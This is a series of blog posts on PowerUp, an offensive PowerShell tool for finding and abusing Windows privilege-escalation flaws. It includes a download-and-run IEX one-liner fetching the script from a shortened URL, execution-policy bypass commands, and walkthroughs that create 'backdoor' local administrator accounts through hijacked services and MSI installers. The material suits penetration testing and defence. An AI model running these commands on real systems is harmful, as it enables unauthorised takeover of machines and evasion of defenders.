Quantcast
Channel: PowerUp – harmj0y

PowerUp v1.1 – Beyond Service Abuse

$
0
0

Edit: I gave a short firetalk on PowerUp at BSidesBoston 2014- the slides are posted here.

The public reaction for PowerUp has been awesome and unexpected. I wanted to expand the script to move beyond just vulnerable service abuse, and include several other Windows privilege escalation vectors. There is a ton of great information out there on a variety of privesc techniques, and I drew from what I could find to implement the new functionality in PowerUp. I highly recommend checking out FuzzySecurity’s awesome post on the subject, as well as checking out @mubix‘s and @carnal0wnage‘s presentation “AT is the new Black”. While you’re at it, you should check out Parvez Anwar’s various posts on escalation techniques. The InsomniaSec presentation “ENCYCLOPAEDIA OF WINDOWS PRIVILEGE ESCALATION” is an awesome resource as well. This post will cover how these new techniques implemented into PowerUp.

DLL search order hijacking has been spoken about several times before, usually as a mechanism for malware persistence, but it can occasionally be used for privilege escalation in certain cases. The order that DLLs are loaded for executable is specified here- the important thing to note is that the directory where an executable is loaded from is the first location a DLL is checked for. If a DLL is loaded by a process, and is not in the KnownDLLs cache nor the directory the executable loaded from, an attacker is presented with a hijacking opportunity. Mandiant has an excellent detailed blog post about this whole process, and they published a C program that finds all hijacking opportunities on a system.

The new PowerUp function Invoke-FindDLLHijack will find hijacking opportunities and return the executable, hijackable DLL path, and current owner for the associated process. It does this by checking the path and loaded modules for all accessible running process, and returns any base “exe path + loaded module name” that doesn’t exist. The flags -ExcludeWindows and -ExcludeProgramFiles will exclude paths from C:\Windows\* and C:\Program Files\* respectively, and -ExcludeOwned will exclude processes owned by the current user. In addition, this function doesn’t need to call AdjustTokenPrivileges() with SE_PRIVILEGE_ENABLED like the Mandiant program does, meaning you can run it without needing administrative privileges.

Invoke-FindPathDLLHijack uses the technique described here to find possible service .dll hijacking opportunities. If a folder from the standard %PATH% is writable by the current user (i.e. C:\Python27\), you might be able to place a malicious .DLL in particular locations to escalate privileges.

Get-RegAlwaysInstallElevated will check the Windows registry for the AlwaysInstallElevated key. If this is enabled, MSI installers will always run with elevated privileges. There’s a Metasploit module (always_install_elevated.rb) that exploits this same behavior. Write-UserAddMSI will write out an MSI installer file that when run, prompts for a user account to add to the local administrators.

Get-RegAutoLogon will check if the AutoAdminLogon registry key is set, and will pull out any plaintext credentials if it is.

Get-UnattendedInstallFiles will check for the existence of several leftover unattended/sysprep files that often have plaintext administrative credentials.

Finally, Invoke-AllChecks will run all escalation checks and output a short status report on what it finds.

If anyone has any other ideas for reliable Windows privilege escalation techniques to implement, hit me up on twitter (@harmj0y) or at harmj0y on freenode (#veil and #armitage).

 


PowerUp: A Usage Guide

$
0
0

Note: this topic was cross-posted on the official Veris Group blog.

PowerUp is the result of wanting a clean way to audit client systems for common Windows privilege escalation vectors. It utilizes various service abuse checks, .dll hijacking opportunities, registry checks, and more to enumerate common ways that you might be able to elevate on a target system. We’ve gotten the chance to test PowerUp in multiple environments, as well integrate public feedback, so I wanted to put together a quick usage guide for those wanting to check it out.

To load up PowerUp, first download the raw script to a local location, and then launch Powershell:

  • C:> powershell.exe -nop -exec bypass

Then import the PowerUp module with the following:

  • PS C:\> Import-Module PowerUp.ps1

All of the PowerUp cmdlets will now be exposed and tab completable (Get-[tab]). To get more information on any command, use get-help [cmdlet], with an optional -full flag to return complete information. I.E. “Get-Help Get-ServiceEXEPerms -full“. To get a list of all the available functions, check the README.md. If you want to output your results to a file, I recommend using the Powershell Out-File cmdlet, I.E. ​”PS C:\> Get-ServicePerms | Out-File -Encoding ASCII checks.txt” (the -encoding flag is used since since Powershell defaults to Unicode).

The most common way I end up using PowerUp is by using the Invoke-AllChecks function, which runs through all relevant checks for the machine and outputs a status report:

  • PS C:\> Invoke-AllChecksOut-File -Encoding ASCII checks.txt

Sidenote: there are a few other ways you can run the Invoke-AllChecks functionality in the field, particularly over a Meterpreter (or Beacon) agent. One option is to upload the PowerUp.ps1 script to the machine, drop into a shell, and execute the following command:

  • C:\> powershell.exe -exec bypass -Command “& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}”

If you want to invoke everything without touching disk, use something like this:

  • C:\> powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/1mK64oH’); Invoke-AllChecks”

There’s also a Metasploit module for running powershell commands through a session, post/windows/manage/powershell/exec_powershell. Before you use this module, first append “Invoke-AllChecks” to the end of PowerUp.ps1 on your attacker machine, and then specify the local path to the script in the module options. Metasploit will upload the script, run it on the target, retrieve the results and save them back to your local machine.

Now, let’s take a look at that example report:

Running Invoke-AllChecks
Checking for unquoted service paths...
[+] Unquoted service path: CustomSVC - C:\Users\adam\Documents\Visual Studio 2008\Projects\Service\Service\bin\Release\service.exe
Checking service executable permissions...
[+] Vulnerable service executable: CustomSVC - C:\Users\adam\Documents\Visual Studio 2008\Projects\Service\Service\bin\Release\service.exe
Checking service permissions...
[+] Vulnerable service: CustomAPP - C:\Custom\deploy.exe
Checking for unattended install files...
[+] Unattended install file: C:\Windows\Panther\Unattended.xml
Checking %PATH% for potentially hijackable service .dll locations...
Checking for AlwaysInstallElevated registry key...
[+] AlwaysInstallElevated is enabled for this machine!
Checking for Autologon credentials in registry...

We definitely have some interesting output to check out here. The first thing I could check out is the unattended installation file at C:\Windows\Panther\Unattended.xml- this file might have a base64-encoded deployment password that would give us a quick win.

The next up is the vulnerable service executable. This misconfiguration happens when the executable associated with a service has improper permissions, allowing other users to write to the .exe. Since these services run as SYSTEM, if we replace the exe with our own, we can escalate quickly. PowerUp includes a function to easily back up the service .exe and write out a patched C# service to that service location. If it succeeds, it returns True, and returns False if it fails. We can use the -Verbose flag to get some more information:

  • PS C:\> Write-ServiceEXE -ServiceName CustomSVC -UserName backdoor -Password password123 -Verbose
    VERBOSE: Backing up ‘C:\Users\adam\Documents\Visual Studio 2008\Projects\Service\Service\bin\Release\service.exe’ to ‘C:\Users\adam\Documents\Visual Studio
    2008\Projects\Service\Service\bin\Release\service.exe.bak’
    VERBOSE: Service binary written out to ‘C:\Users\adam\Documents\Visual Studio 2008\Projects\Service\Service\bin\Release\service.exe’
    True

This new service binary will create a new user named backdoor, and add them to the local administrators. If we can’t start/stop the service, rebooting the box should do the trick to get the user added. After the user is added, running Restore-ServiceEXE -ServiceName CustomSVC should place the original binary back in its proper place.

Sometimes services themselves are vulnerable- if we can modify a service and start/stop it, we can change the path name to the service exe to be something like “net user backdoor2 /add”. If we start/stop the service and then repeat that process to add the user to the local administrators, we’re golden:

  • PS C:\> Invoke-ServiceUserAdd -ServiceName CustomAPP -UserName backdoor2 -Password password123 -Verbose
    VERBOSE: Service ‘CustomAPP’ original path: ‘C:\Custom\deploy.exe’
    VERBOSE: Service ‘CustomAPP’ original state: ‘Stopped’
    VERBOSE: Adding user ‘backdoor2′
    VERBOSE: Adding user ‘backdoor2′ to group ‘Administrators’
    VERBOSE: Restoring original path to service ‘CustomAPP’
    VERBOSE: Leaving service ‘CustomAPP’ in stopped state
    True

Finally, let’s check out that AlwaysInstallElevated key. This is a key sometimes set by enterprises in an attempt to simply the deployment of installer packages without granting users administrative rights. However, setting this key actually is the exact same as giving users those rights, as writing out a custom .msi installer and running it will give the user elevated privileges:

  • PS C:\> Write-UserAddMSI
    Service binary written out to ‘UserAdd.msi’
    True

When we run this .msi, it gives us a gui to add a local admin:

useradd_msi

 

If you have any questions, hit me up at will [at] harmj0y.net, on twitter at @harmj0y, or on Freednode (harmj0y in #veil or #armitage).

 

PowerUp

$
0
0

On a recent assessment we ran into a situation where we needed to escalate privileges on a fairly locked down workstation. Kernel exploits (kitrap0d) wouldn’t work, so we fell back to an old classic, vulnerable windows services. While we couldn’t manipulate services directly, a custom system service purposely left its binary privileges open for compatibility purposes. tldr; replacing the service binary path with a custom binary (that created a user and added them to the local administrators) and then rebooting the box did the job nicely.

Our process was more or less manual: reviewing all currently running Windows services and manually checking non System32 paths to see if we had write permissions. After some finagling and custom compiling, we started wondering if there was a nice, automated way to do everything.

The result is PowerUp, a Powershell tool for Windows local service enumeration and abuse. It utilizes three approaches to find vulnerable services:

  • Get-ServiceUnquoted finds all unquoted services that also have a space (i.e. the MSF trusted_service_path.rb module). If you have a service that references something like C:\Tools\Custom Tool\program.exe, and you have write access to the base directory C:\Tools\, dropping an executable to C:\Tools\Custom.exe will result in that program being run instead of the original service executable. This is due to ambiguity of how some Windows API functions references paths.
  • Get-ServiceEXEPerms will enumerate all service executables that the current user has write access to. Replacing one of these exectuables will let you hijack a current service (this is what we ended up doing).
  • Get-ServicePerms will enumerate all services that the current user can modify. Changing the binary path to something like “net user backdoor password /add” and restarting the service also works nicely.

PowerUp also has a few methods for abusing vulnerable services you find:

  • Invoke-ServiceUserAdd lets you abuse what you find with Get-ServicePerms. It stops a target service, modifies it to çreate a user and add it to the local administrators, restarts, then restores the original service binary path.
  • Write-UserAddServiceBinary can let you hijack service paths from Get-ServiceUnquoted. It takes a precompiled C# service binary and binary patches in the service name, username/password and group to add a user to. When run, the binary will create the specified user and add them to the passed group.
  • Write-ServiceEXE can be used to abuse vulnerable binaries found by Get-ServiceEXEPerms. It will backup the exe for a given service, then use Write-UserAddServiceBinary to replace the executable with one that creates and adds a local admin. Restore-ServiceEXE can restore the original executable.

There are a few utility methods to help you out as well. Invoke-ServiceStart and Invoke-ServiceStop start and stop given services respectively, and Invoke-ServiceEnable/Invoke-ServiceDisable handle service enabling/disabling. Get-ServiceDetails will return detailed information on a specified service.

Sheets on Sheets on Sheets

$
0
0

After a few requests, I’ve built out a series of cheat sheets for a few of the tools I help actively develop- PowerView, PowerUp, and Empire. I hope to illustrate the full functionality available in each tool and provide a quick reference for new adopters (as well as seasoned operators). PDF versions of these will be kept in a master repository at https://github.com/HarmJ0y/CheatSheets/ under the Creative Commons v3 “Attribution” License. They are versioned in the footnotes and I will them appropriately as time goes on.

Note: PowerView and PowerUp are in the process of being integrated into the PowerSploit repository. The bit.ly links in the current sheets note where the eventual locations will be, but these two tools still reside in PowerTools for the next few weeks until the transition is completed.

powerview_2.0_cheat_sheet1

powerview_2.0_cheat_sheet2

 

powerup_cheatsheet

 

empire_cheatsheet1empire_cheatsheet2

We’ll have copies of these printed out for anyone who takes one of our training classes. And if anyone finds a mistake or has a good suggestion for the sheets, let me know (will [at] harmj0y.net or harmj0y in #psempire) and I’ll buy you a beer the next time we cross paths at a con!

Upgrading PowerUp With PSReflect

$
0
0

PowerUp is something that I haven’t written about much in nearly two years. It recently went through a long overdue overhaul in preparation for our “Advanced PowerShell for Offensive Operations” training class, and I wanted to document the recent changes and associated development challenges. Being one of the first PowerShell scripts I ever wrote, there was a LOT to clean up and correct (it’s come a long way since its initial commit back in 2014).

The new code is in the development branch of PowerSploit and I updated the PowerUp cheat sheet to reflect the new functions and syntax. Many of these updates were only possible with @mattifestation‘s awesome PSReflect library, something we’ll be covering heavily in our class. If you need to access the Win32 API or create structs/enums in PowerShell without touching disk or resorting to complicated reflection techniques, I highly recommend checking the project out.

Removed, Renamed, and Added Functions

First, some housekeeping. The following PowerUp functions were removed as they have working equivalents in PowerShell version 2.0+: Invoke-ServiceStart (Start-Service), Invoke-ServiceStop (Stop-Service -Force), Invoke-ServiceEnable (Set-Service -StartupType Manual), Invoke-ServiceDisable (Set-Service -StartupType Disabled).

The following functions were renamed:

  • Get-ModifiableFile was renamed to Get-ModifiablePath as it now handles folder paths instead of just file paths.
  • Get-ServiceFilePermission was renamed to Get-ModifiableServiceFile.
  • Get-ServicePermission was renamed to Get-ModifiableService.
  • Find-DLLHijack was renamed to Find-ProcessDLLHijack to clarify how exactly it should be used.
  • Find-PathHijack was renamed to Find-PathDLLHijack for clarification as well.
  • Get-RegAlwaysInstallElevated was renamed to Get-RegistryAlwaysInstallElevated.
  • Get-RegAutoLogon was renamed to Get-RegistryAutoLogon.
  • Get-VulnAutoRun was renamed to Get-ModifiableRegistryAutoRun for clarification.

Any ‘AbuseFunction’ fields returned by Invoke-AllChecks should return the new function names if applicable.

Get-SiteListPassword, our implementation of Jerome Nokin‘s mcafee-sitelist-pwd-decryption.py Python script was combined into PowerUp.ps1 and implemented in Invoke-AllChecks. Get-System is being kept as a separate file in the PowerSploit ./Privesc/ folder as it’s not really an escalation ‘check’ per se. A modified version of @obscuresec‘s Get-GPPPassword was also integrated, where the code looks for any group policy preference files cached locally on the host and decrypts any found credentials. This was added into PowerUp as it is kept as a host-based check instead of one that produces network communications. Big thanks to Ben Campbell for the prodding to implement this.

The following functions are new and will be described in more detail later in this post:

  • @mattifestation‘s PSReflect library in order to allow in-memory Win32 API access and struct/enum construction.
  • Get-CurrentUserTokenGroupSid which returns all SIDs that the current user is a part of, whether they are disabled or not (the equivalent of whoami /groups).
  • Add-ServiceDacl which adds a DACL field to a service object returned by Get-Service.
  • Set-ServiceBinPath which sets the binary path for a service to a specified value (the equivalent of sc.exe config SERVICE binPath= X).

Modifiable Service Enumeration

One of the first tests written into PowerUp was a ‘vulnerable’ service check, meaning enumerating all services that the current user can modify the configuration of. This can sometimes happen if a third party installer accidentally grants SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS rights for a service to users/groups not a part of local administrators, resulting in the canonical Windows misconfiguration privesc of sc.exe config SERVICE binPath= 'net user...'. I used to think that this check was outdated until I saw this issue twice in the last year while on engagements ¯\_(ツ)_/¯

Services have ACLs associated with them just like files, but the built-in Get-Service/Get-Acl cmdlets don’t let us easily enumerate these. So to check for modification rights, Get-ModifiableService used to attempt to set the error control for each service to its current value, returning $False if a permission error was thrown. This was pretty accurate but was quite noisy with all of its attempted service modifications. A bit ago sagishahar started down the path of ACL enumeration using sc.exe sdshow SERVICE. We’ve recently heavily expanded on this to remove the dependency on sc.exe completely.

@mattifestation was able to whip up the code for Add-ServiceDacl which takes a [ServiceProcess.ServiceController] object from Get-Service, queries for the service DACL with the QueryServiceObjectSecurity() Win32 API call, and adds a .Dacl field to the passed service object based on a ServiceAccessRights enum that he created. Here’s what the output looks like:

add_service_dacl

Test-ServiceDaclPermission now incorporates this approach, allowing you to test the ACLs for specified services against different permission sets (like ‘ChangeConfig’, ‘Restart’, ‘AllAccess’, etc.). If the current user has the specified rights to a service name/object passed on the pipeline to Test-ServiceDaclPermission the service object will be returned. This means that Get-ModifiableService is now quite simple:

Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeConfig' | ForEach-Object {

    $ServiceDetails = $_ | Get-ServiceDetail

    $ServiceRestart = $_ | Test-ServiceDaclPermission -PermissionSet 'Restart'

    if($ServiceRestart) {
        $CanRestart = $True
    }
    else {
        $CanRestart = $False
    }

    $Out = New-Object PSObject
    $Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.name
    $Out | Add-Member Noteproperty 'Path' $ServiceDetails.pathname
    $Out | Add-Member Noteproperty 'StartName' $ServiceDetails.startname
    $Out | Add-Member Noteproperty 'AbuseFunction' "Invoke-ServiceAbuse -Name '$($ServiceDetails.name)'"
    $Out | Add-Member Noteproperty 'CanRestart' $CanRestart
    $Out
}

So everything should be less complicated, more accurate, and no longer reliant upon sc.exe!

Modifiable File Enumeration

Several functions (Get-ModifiableServiceFileGet-ModifiableRegistryAutoRunGet-ModifiableScheduledTaskFile) try to check if particular file paths are writeable by the current user. To do this, any path strings discovered by these functions are run through the Get-ModifiablePath function which ‘tokenizes’ the string into likely file locations and checks each for modification rights. This used to be done with the .NET File.OpenWrite function, opening a candidate file for write access and closing it immediately, returning $False if an error is throw.

Get-ModifiablePath now performs proper file ACL enumeration to determine if the current user can modify any file candidates. All enabled group SIDs the user is currently a part of are enumerated with [System.Security.Principal.WindowsIdentity]::GetCurrent().Groups and the file ACLs for each candidate are enumerated with Get-Acl. PowerUp then filters for all ACE entries that allow for modification (‘GenericWrite’, ‘GenericAll’, ‘MaximumAllowed’, ‘WriteOwner’, ‘WriteDAC’, ‘WriteData/AddFile’ or ‘AppendData/AddSubdirectory’ rights) and translates all the IdentityReferences (SID/account names) for these entries. Finally, if there are any matches between the SID set that can modify the file and what the current user is a part of, a custom object is returned that has the file path and IdentityReference/Permission sets.

get_modifiable_path

This will catch some side cases that PowerUp previously missed where the current user had the ability to modify the owner or access control of a file. It’s also a bit quieter as the file isn’t actually opened for reading.

In order to find modifiable folders in %PATH%, Find-PathDLLHijack used to create a temporary file and immediately delete it in any candidate folders. It now uses Get-ModifiablePath as well to prevent this file operation. It also takes advantage of another benefit of Get-ModifiablePath; if a file doesn’t exist, Get-ModifiablePath will check if the parent folder of the file allows modification by the current user as well (meaning you could create the missing file). Here’s how it looks for a %PATH% that includes the C:\Python27\ folder that exists and the C:\Perl\ folder which does not:

find_path_dll_hijack

Writing Out External Binaries

As we started down the path of using PSReflect to replace service ACL enumeration, we realized we should go ahead and write out the dependency on sc.exe all together. Starting/stopping were replaced with Start-Service/Stop-Service and enabling/disabling were replaced with Set-Service -StartupType Manual. The only action not replaceable with these built in PowerShell methods was sc.exe config SERVICE binPath= '...'. For that we again need the Windows API.

The newly minted Set-ServiceBinPath function takes advantage of the ChangeServiceConfig() Win32 API call to modify the lpBinaryPathName (binPath) field of a service to whatever we specify. This is now used in the Invoke-ServiceAbuse function to create a local administrator or execute a custom command.

set_service_bin_path

You can see another small modification in the above example; functions in PowerUp that interact with services can now take a service name OR a service object (from Get-Service) on the pipeline.

The last lingering binary call was more annoying to resolve. One of PowerUp’s tests is a check of whether the current user is a local administrator but the current security context is medium integrity, meaning a BypassUAC attack would be applicable. This was previously done by calling whoami /groups to enumerate all group SIDs the current user is a part of and searching for S-1-5-32-544 (the SID of the local Administrators group) – ($(whoami /groups) -like "*S-1-5-32-544*").length -eq 1. The equivalent call in PowerShell is [System.Security.Principal.WindowsIdentity]::GetCurrent().Groups which actually wraps the GetTokenInformation() API call just like whoami.exe. However, in the case of a local administrator in medium integrity, this WON’T show the S-1-5-32-544 SID.

I sat scratching my head for a while until Lee Holmes pointed out that the Groups() call on the WindowsIdentity object filters out certain results, Specifically, any groups which were on the token for deny-only will not be returned in the Groups collection. Similarly, a group which is the SE_GROUP_LOGON_ID will not be returned. You can see this in the reference source here.

So it was again back to the raw Windows API, this time implementing a series of four API calls. If we use GetCurrentProcess() to get a pseudo handle to our current process, open its access token with OpenProcessToken(), and query GetTokenInformation() with the TokenGroups value from the TOKEN_INFORMATION_CLASS enumeration we can get back a TOKEN_GROUPS structure. This has ALL group SIDs the user is currently a part of, whether they’re enabled or not. We can then use ConvertSidToStringSid() to convert the SID structures to readable strings and search for ‘S-1-5-32-544’.

The new Get-CurrentUserTokenGroupSid function will return all SIDs that the current user is a part of, whether they are disabled or not, along with their attribute enumerations:

current_user_token_group_sid

We can now check for administrative rights in medium integrity with (without calling whoami.exe) by executing (Get-CurrentUserTokenGroupSid | Select-Object -ExpandProperty SID) -contains 'S-1-5-32-544'.

Wrap-Up

So why all the effort to avoid external binary calls? The biggest reason is command line auditing and avoiding host modification in general. The previous version of PowerUp was quite ‘noisy’ from this perspective, spawning a large number of external binaries from its powershell.exe process and doing things like attempted brute-forced service modifications. We try our best to adhere to an approach of stealth and staying off of disk (even if it’s a bit more work) and these new PowerUp updates fall right in line with that philosophy. There are plenty of ways to catch our offensive PowerShell, but we don’t want to make it any easier on defenders than necessary ;)

And as a final side note, PowerUp now has a decent suite of Pester tests to validate its functionality. This should increase its stability going forward and make the codebase more resilient to unintended bugs as a result of refactoring in the future. Pester is a unit-testing framework for PowerShell and I can’t recommend highly enough that everyone get in the habit of properly designing and testing their code! We are now actually requiring associated Pester tests be submitted with any new code for PowerSploit.